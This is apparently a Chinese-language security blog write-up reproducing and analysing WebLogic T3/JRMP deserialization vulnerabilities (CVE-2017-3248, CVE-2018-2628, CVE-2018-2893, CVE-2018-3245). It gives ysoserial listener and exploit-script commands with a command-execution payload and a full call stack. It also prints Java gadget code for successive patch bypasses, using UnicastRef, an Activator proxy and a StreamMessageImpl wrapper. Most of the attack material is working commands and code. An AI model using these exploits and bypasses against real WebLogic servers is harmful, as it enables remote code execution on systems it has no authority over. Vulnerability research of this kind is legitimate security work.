Weblogic JRMP Attack

CVE-2017-3248
复现
使用ysoserial.jar开启JRMP服务端监听
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/hacked_by_le1a"

然后使用EXP发送payload
python2 JRMPAttack.py 10.216.6.185 7001 ysoserial.jar 10.216.6.185 9999 JRMPClient


分析

- python脚本通过T3协议,构造
payload2
,发送给Weblogic。使得Weblogic反序列化后,自动请求JRMP Listener
,获取恶意payload1
- 反序列化
恶意payload1
,执行恶意命令
调用栈
transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy58 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
executeCall:243, StreamRemoteCall (sun.rmi.transport)
invoke:377, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:360, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:491, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

反序列化时候调用到其InvocationHandler
的readObject
方法即RemoteObjectInvocationHandler#readObject()

然后走到父类的RemoteObject#readObject()
,并且调用了sun.rmi.server.UnicastRef#readExternal()


最终在DGCClient#registerRefs
处理与JRMP服务端的交互请求

46行的DGCClient.EndpointEntry.lookup(var0)
就是在开启与服务端的通信

最后到这里,建立了联系,并且获取传过来的数据,最后将获取的内容利用readObject()进行解析,导致恶意代码执行

CVE-2018-2628
CVE-2017-3248的补丁
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
可以看到,代理resolveClass把java.rmi.registry.Registry
添加进了黑名单。

方案一
不用代理Registry即可绕过
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
方案二
使用java.rmi.activation.Activator
代替java.rmi.registry.Registry
public Registry getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
CVE-2018-2893
补丁将java.rmi.server.RemoteObjectInvocationHandler
加入黑名单,可以用CVE-2016-0638 的StreamMessageImpl
封装一下,绕过黑名单。
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));
}
CVE-2018-3245
使用RMIConnectionImpl_Stub
代替RemoteObjectInvocationHandler

POC: https://github.com/pyn3rd/CVE-2018-3245
有个疑问就是: poc里用的不是 RMIConnectionImpl_Stub
而是 ReferenceWrapper_Stub
我看了下,这俩都是RemoteObject
的子类



精力有限,就没再继续测试了,猜测应该是用这两个类都可以代替RemoteObjectInvocationHandler
吧
参考
https://y4er.com/posts/weblogic-jrmp/
https://xz.aliyun.com/t/10171
https://github.com/pyn3rd/CVE-2018-3245